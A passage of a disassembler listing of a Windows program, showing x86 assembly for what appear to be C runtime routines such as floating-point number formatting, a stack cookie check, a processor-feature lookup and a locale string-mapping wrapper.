		push	dword ptr [esi+eax]
		call	sub_412FE4
		pop	ecx
		mov	eax, dword_47A644
		mov	[esi+eax], ebx
		jmp	short loc_417DE4
; ---------------------------------------------------------------------------


loc_417DCC:				; CODE XREF: sub_417CF5+C2j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_41F01C
		mov	eax, dword_47A644
		mov	edi, [esi+eax]


loc_417DE1:				; CODE XREF: sub_417CF5+89j
		mov	[ebp+var_1C], edi


loc_417DE4:				; CODE XREF: sub_417CF5+29j
					; sub_417CF5+57j ...
		cmp	edi, ebx
		jz	short loc_417DFA
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh


loc_417DFA:				; CODE XREF: sub_417CF5+F1j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_417E0E
		mov	eax, edi
		call	__SEH_epilog
		retn
sub_417CF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E0B	proc near		; DATA XREF: .rdata:stru_427A50o
		mov	edi, [ebp-1Ch]
sub_417E0B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417E0E	proc near		; CODE XREF: sub_417CF5+109p
		push	1
		call	sub_41686D
		pop	ecx
		retn
sub_417E0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E17	proc near		; CODE XREF: sub_414CA3+459p
					; DATA XREF: sub_413460+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_413A6E
		cmp	eax, 65h
		jmp	short loc_417E36
; ---------------------------------------------------------------------------


loc_417E2A:				; CODE XREF: sub_417E17+20j
		inc	esi
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41ABBC
		test	eax, eax


loc_417E36:				; CODE XREF: sub_417E17+11j
		pop	ecx
		jnz	short loc_417E2A
		mov	al, [esi]
		mov	cl, byte_42D090
		mov	[esi], cl
		inc	esi


loc_417E44:				; CODE XREF: sub_417E17+38j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_417E44
		pop	esi
		retn
sub_417E17	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E53	proc near		; CODE XREF: sub_414CA3+46Ap
					; DATA XREF: sub_413460+Ao ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	bl, byte_42D090
		jmp	short loc_417E65
; ---------------------------------------------------------------------------


loc_417E60:				; CODE XREF: sub_417E53+16j
		cmp	cl, bl
		jz	short loc_417E6B
		inc	eax


loc_417E65:				; CODE XREF: sub_417E53+Bj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_417E60


loc_417E6B:				; CODE XREF: sub_417E53+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_417E9C
		jmp	short loc_417E7F
; ---------------------------------------------------------------------------


loc_417E74:				; CODE XREF: sub_417E53+30j
		cmp	cl, 65h
		jz	short loc_417E85
		cmp	cl, 45h
		jz	short loc_417E85
		inc	eax


loc_417E7F:				; CODE XREF: sub_417E53+1Fj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_417E74


loc_417E85:				; CODE XREF: sub_417E53+24j
					; sub_417E53+29j
		mov	edx, eax


loc_417E87:				; CODE XREF: sub_417E53+38j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_417E87
		cmp	[eax], bl
		jnz	short loc_417E92
		dec	eax


loc_417E92:				; CODE XREF: sub_417E53+3Cj
					; sub_417E53+47j
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_417E92


loc_417E9C:				; CODE XREF: sub_417E53+1Dj
		pop	ebx
		retn
sub_417E53	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E9E	proc near		; DATA XREF: sub_413460+28o
					; .data:off_42CE28o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_427A60
		fnstsw	ax
		test	ah, 1
		jnz	short loc_417EB5
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_417EB5:				; CODE XREF: sub_417E9E+11j
		xor	eax, eax
		retn
sub_417E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EB8	proc near		; CODE XREF: sub_41554C+40Dp
					; DATA XREF: sub_413460+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_417EE1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C60D
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417EE1:				; CODE XREF: sub_417EB8+Cj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41C650
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		leave
		retn
sub_417EB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EF6	proc near		; CODE XREF: sub_417F13+23p
					; sub_418035+45p ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_417F11
		push	esi
		call	sub_416000
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41BC70
		add	esp, 10h


loc_417F11:				; CODE XREF: sub_417EF6+5j
		pop	esi
		retn
sub_417EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F13	proc near		; CODE XREF: sub_417FC1+5Bp
					; sub_418139+88p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		push	esi
		mov	esi, eax
		jz	short loc_417F3C
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	edi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_417EF6
		pop	edi


loc_417F3C:				; CODE XREF: sub_417F13+Aj
		cmp	dword ptr [esi], 2Dh
		mov	eax, ebx
		jnz	short loc_417F49
		mov	byte ptr [ebx],	2Dh
		lea	eax, [ebx+1]


loc_417F49:				; CODE XREF: sub_417F13+2Ej
		cmp	[ebp+arg_0], 0
		jle	short loc_417F60
		lea	ecx, [eax+1]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, ecx
		mov	cl, byte_42D090
		mov	[eax], cl


loc_417F60:				; CODE XREF: sub_417F13+3Aj
		xor	ecx, ecx
		cmp	[ebp+arg_8], cl
		push	offset dword_427A68
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B390
		cmp	[ebp+arg_4], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_417F85
		mov	byte ptr [ecx],	45h


loc_417F85:				; CODE XREF: sub_417F13+6Dj
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_417FBC
		mov	eax, [esi+4]
		dec	eax
		jns	short loc_417F99
		neg	eax
		mov	byte ptr [ecx],	2Dh


loc_417F99:				; CODE XREF: sub_417F13+7Fj
		inc	ecx
		cmp	eax, 64h
		jl	short loc_417FA9
		cdq
		push	64h
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_417FA9:				; CODE XREF: sub_417F13+8Aj
		inc	ecx
		cmp	eax, 0Ah
		jl	short loc_417FB9
		cdq
		push	0Ah
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_417FB9:				; CODE XREF: sub_417F13+9Aj
		add	[ecx+1], al


loc_417FBC:				; CODE XREF: sub_417F13+79j
		mov	eax, ebx
		pop	esi
		pop	ebp
		retn
sub_417F13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FC1	proc near		; CODE XREF: sub_4181D9+47p

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41C7C4
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [esi+1]
		push	eax
		xor	eax, eax
		cmp	[ebp+var_14], 2Dh
		mov	edx, ebx
		setz	al
		xor	ecx, ecx
		test	esi, esi
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41C693
		push	0
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	esi
		call	sub_417F13
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 28h
		pop	esi
		mov	eax, ebx
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_417FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418035	proc near		; CODE XREF: sub_4180D1+4Fp
					; sub_418139+75p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi+4]
		dec	eax
		cmp	[ebp+arg_8], 0
		push	edi
		jz	short loc_418062
		cmp	eax, [ebp+arg_4]
		jnz	short loc_418062
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0


loc_418062:				; CODE XREF: sub_418035+10j
					; sub_418035+15j
		cmp	dword ptr [esi], 2Dh
		mov	ebx, [ebp+arg_0]
		jnz	short loc_41806E
		mov	byte ptr [ebx],	2Dh
		inc	ebx


loc_41806E:				; CODE XREF: sub_418035+33j
		mov	eax, [esi+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_418085
		mov	eax, ebx
		call	sub_417EF6
		mov	byte ptr [ebx],	30h
		inc	ebx
		jmp	short loc_418087
; ---------------------------------------------------------------------------


loc_418085:				; CODE XREF: sub_418035+41j
		add	ebx, eax


loc_418087:				; CODE XREF: sub_418035+4Ej
		cmp	[ebp+arg_4], 0
		jle	short loc_4180C9
		mov	eax, ebx
		call	sub_417EF6
		mov	al, byte_42D090
		mov	[ebx], al
		mov	esi, [esi+4]
		inc	ebx
		test	esi, esi
		jge	short loc_4180C9
		neg	esi
		cmp	[ebp+arg_8], 0
		jnz	short loc_4180B0
		cmp	[ebp+arg_4], esi
		jl	short loc_4180B3


loc_4180B0:				; CODE XREF: sub_418035+74j
		mov	[ebp+arg_4], esi


loc_4180B3:				; CODE XREF: sub_418035+79j
		mov	edi, [ebp+arg_4]
		mov	eax, ebx
		call	sub_417EF6
		push	edi
		push	30h
		push	ebx
		call	sub_41ADD0
		add	esp, 0Ch


loc_4180C9:				; CODE XREF: sub_418035+56j
					; sub_418035+6Cj
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418035	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180D1	proc near		; CODE XREF: sub_4181D9+1Ep

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41C7C4
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_10]
		add	eax, esi
		push	eax
		xor	eax, eax
		cmp	[ebp+var_14], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_41C693
		push	0
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		call	sub_418035
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+arg_4]
		add	esp, 28h
		pop	esi
		call	sub_4182D6
		leave
		retn
sub_4180D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418139	proc near		; CODE XREF: sub_4181D9+34p

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41C7C4
		mov	esi, [ebp+var_10]
		mov	ebx, [ebp+arg_8]
		xor	eax, eax
		dec	esi
		cmp	[ebp+var_14], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		mov	edi, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edi
		call	sub_41C693
		mov	eax, [ebp+var_10]
		add	esp, 1Ch
		dec	eax
		cmp	esi, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_4181B5
		cmp	eax, ebx
		jge	short loc_4181B5
		test	cl, cl
		jz	short loc_4181A5


loc_41819B:				; CODE XREF: sub_418139+67j
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_41819B
		and	[edi-2], al


loc_4181A5:				; CODE XREF: sub_418139+60j
		push	1
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		call	sub_418035
		jmp	short loc_4181C6
; ---------------------------------------------------------------------------


loc_4181B5:				; CODE XREF: sub_418139+58j
					; sub_418139+5Cj
		push	1
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	ebx
		mov	ebx, [ebp+arg_4]
		call	sub_417F13


loc_4181C6:				; CODE XREF: sub_418139+7Aj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_418139	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181D9	proc near		; CODE XREF: sub_414CA3+43Ep
					; DATA XREF: sub_413460o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_418214
		cmp	[ebp+arg_8], 45h
		jz	short loc_418214
		cmp	[ebp+arg_8], 66h
		jnz	short loc_418201
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4180D1
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418201:				; CODE XREF: sub_4181D9+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418139
		jmp	short loc_418225
; ---------------------------------------------------------------------------


loc_418214:				; CODE XREF: sub_4181D9+7j
					; sub_4181D9+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FC1


loc_418225:				; CODE XREF: sub_4181D9+39j
		add	esp, 10h
		pop	ebp
		retn
sub_4181D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41822A	proc near		; CODE XREF: sub_413498+Fp
		push	30000h
		push	10000h
		call	sub_41C991
		pop	ecx
		pop	ecx
		retn
sub_41822A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41823C	proc near		; CODE XREF: sub_41827C:loc_4182A0j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_427A80
		fstp	[ebp+var_8]
		fld	ds:dbl_427A78
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_427A70
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_418278
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418278:				; CODE XREF: sub_41823C+35j
		xor	eax, eax
		leave
		retn
sub_41823C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41827C	proc near		; CODE XREF: sub_413498+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_41F078
		test	eax, eax
		jz	short loc_4182A0
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_41F074
		test	eax, eax
		jz	short loc_4182A0
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_4182A0:				; CODE XREF: sub_41827C+Dj
					; sub_41827C+1Dj
		jmp	sub_41823C
sub_41827C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4182D6


loc_4182A5:				; CODE XREF: sub_4182D6:loc_4182DFj
		push	8
		push	offset stru_427EC0
		call	__SEH_prolog
		and	dword ptr [ebp-4], 0
		push	0
		push	1
		call	sub_41C9FD
		pop	ecx
		pop	ecx
		jmp	short loc_4182C9
; END OF FUNCTION CHUNK	FOR sub_4182D6

; =============== S U B	R O U T	I N E =======================================



sub_4182C2	proc near		; DATA XREF: .rdata:stru_427EC0o
		xor	eax, eax
		inc	eax
		retn
sub_4182C2	endp

; ---------------------------------------------------------------------------


loc_4182C6:				; DATA XREF: .rdata:stru_427EC0o
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_4182D6


loc_4182C9:				; CODE XREF: sub_4182D6-16j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	ds:dword_41F02C
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_4182D6

; =============== S U B	R O U T	I N E =======================================



sub_4182D6	proc near		; CODE XREF: sub_413859+B4p
					; sub_414CA3+76Ep ...

; FUNCTION CHUNK AT 004182A5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004182C9 SIZE 0000000D BYTES

		cmp	ecx, dword_42CE38
		jnz	short loc_4182DF
		retn
; ---------------------------------------------------------------------------


loc_4182DF:				; CODE XREF: sub_4182D6+6j
		jmp	loc_4182A5
sub_4182D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182E4	proc near		; CODE XREF: sub_4139A6+91p
					; sub_4190C6+C8p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	38h
		push	offset stru_427ED0
		call	__SEH_prolog
		xor	ebx, ebx
		cmp	dword_47A018, ebx
		jnz	short loc_418332
		push	ebx
		push	ebx
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_427ECC
		push	100h
		push	ebx
		call	ds:dword_41F180
		test	eax, eax
		jz	short loc_41831D
		mov	dword_47A018, esi
		jmp	short loc_418332
; ---------------------------------------------------------------------------


loc_41831D:				; CODE XREF: sub_4182E4+2Fj
		call	ds:dword_41F008
		cmp	eax, 78h
		jnz	short loc_418332
		mov	dword_47A018, 2


loc_418332:				; CODE XREF: sub_4182E4+14j
					; sub_4182E4+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_418352
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_41833D:				; CODE XREF: sub_4182E4+61j
		dec	ecx
		cmp	[eax], bl
		jz	short loc_41834A
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_41833D
		or	ecx, 0FFFFFFFFh


loc_41834A:				; CODE XREF: sub_4182E4+5Cj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax


loc_418352:				; CODE XREF: sub_4182E4+51j
		mov	eax, dword_47A018
		cmp	eax, 2
		jz	loc_41853C
		cmp	eax, ebx
		jz	loc_41853C
		cmp	eax, 1
		jnz	loc_41856F
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		cmp	[ebp+arg_18], ebx
		jnz	short loc_418389
		mov	eax, dword_47A188
		mov	[ebp+arg_18], eax


loc_418389:				; CODE XREF: sub_4182E4+9Bj
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_41F0A8
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, ebx
		jz	loc_41856F
		mov	[ebp+ms_exc.disabled], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4183F5
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_4183F5:				; CODE XREF: sub_4182E4+F4j
		cmp	[ebp+var_2C], ebx
		jnz	short loc_418416
		lea	eax, [esi+esi]
		push	eax
		call	sub_41344D
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, ebx
		jz	loc_41856F
		mov	[ebp+var_20], 1


loc_418416:				; CODE XREF: sub_4182E4+114j
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_41F0A8
		test	eax, eax
		jz	loc_418519
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F180
		mov	edi, eax
		mov	[ebp+var_1C], edi
		cmp	edi, ebx
		jz	loc_418519
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_418485
		cmp	[ebp+arg_14], ebx
		jz	loc_418519
		cmp	edi, [ebp+arg_14]
		jg	loc_418519
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F180
		jmp	loc_418519
; ---------------------------------------------------------------------------


loc_418485:				; CODE XREF: sub_4182E4+172j
		mov	[ebp+ms_exc.disabled], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_30], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4184C3
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_4184C3:				; CODE XREF: sub_4182E4+1C2j
		cmp	[ebp+var_30], ebx
		jnz	short loc_4184E0
		lea	eax, [edi+edi]
		push	eax
		call	sub_41344D
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	eax, ebx
		jz	short loc_418519
		mov	[ebp+var_24], 1


loc_4184E0:				; CODE XREF: sub_4182E4+1E2j
		push	edi
		push	[ebp+var_30]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F180
		test	eax, eax
		jz	short loc_418519
		push	ebx
		push	ebx
		cmp	[ebp+arg_14], ebx
		jnz	short loc_418503
		push	ebx
		push	ebx
		jmp	short loc_418509
; ---------------------------------------------------------------------------


loc_418503:				; CODE XREF: sub_4182E4+219j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_418509:				; CODE XREF: sub_4182E4+21Dj
		push	edi
		push	[ebp+var_30]
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_41F0AC
		mov	edi, eax


loc_418519:				; CODE XREF: sub_4182E4+149j
					; sub_4182E4+168j ...
		cmp	[ebp+var_24], ebx
		jz	short loc_418527
		push	[ebp+var_30]
		call	sub_412FE4
		pop	ecx


loc_418527:				; CODE XREF: sub_4182E4+238j
		cmp	[ebp+var_20], ebx
		jz	short loc_418535
		push	[ebp+var_2C]
		call	sub_412FE4
		pop	ecx


loc_418535:				; CODE XREF: sub_4182E4+246j
		mov	eax, edi
		jmp	loc_418697
; ---------------------------------------------------------------------------


loc_41853C:				; CODE XREF: sub_4182E4+76j
					; sub_4182E4+7Ej
		mov	[ebp+var_34], ebx
		xor	edi, edi
		mov	[ebp+var_38], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_418551
		mov	eax, dword_47A178
		mov	[ebp+arg_0], eax


loc_418551:				; CODE XREF: sub_4182E4+263j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41855E
		mov	eax, dword_47A188
		mov	[ebp+arg_18], eax


loc_41855E:				; CODE XREF: sub_4182E4+270j
		push	[ebp+arg_0]
		call	sub_41CB47
		pop	ecx
		mov	[ebp+var_3C], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418576


loc_41856F:				; CODE XREF: sub_4182E4+87j
					; sub_4182E4+CDj ...
		xor	eax, eax
		jmp	loc_418697
; ---------------------------------------------------------------------------


loc_418576:				; CODE XREF: sub_4182E4+289j
		cmp	eax, [ebp+arg_18]
		jz	loc_41866D
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_41CB90
		add	esp, 18h
		mov	[ebp+var_34], eax
		cmp	eax, ebx
		jz	short loc_41856F
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F17C
		mov	esi, eax
		mov	[ebp+var_40], esi
		cmp	esi, ebx
		jz	loc_41865C
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_44], edi
		push	esi
		push	ebx
		push	edi
		call	sub_41ADD0
		add	esp, 0Ch
		jmp	short loc_4185ED
; ---------------------------------------------------------------------------


loc_4185DD:				; DATA XREF: .rdata:stru_427ED0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4185E1:				; DATA XREF: .rdata:stru_427ED0o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	ebx, ebx
		xor	edi, edi


loc_4185ED:				; CODE XREF: sub_4182E4+2F7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_418618
		push	[ebp+var_40]
		call	sub_41344D
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_418635
		push	[ebp+var_40]
		push	ebx
		push	edi
		call	sub_41ADD0
		add	esp, 0Ch
		mov	[ebp+var_38], 1


loc_418618:				; CODE XREF: sub_4182E4+30Fj
		push	[ebp+var_40]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_34]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
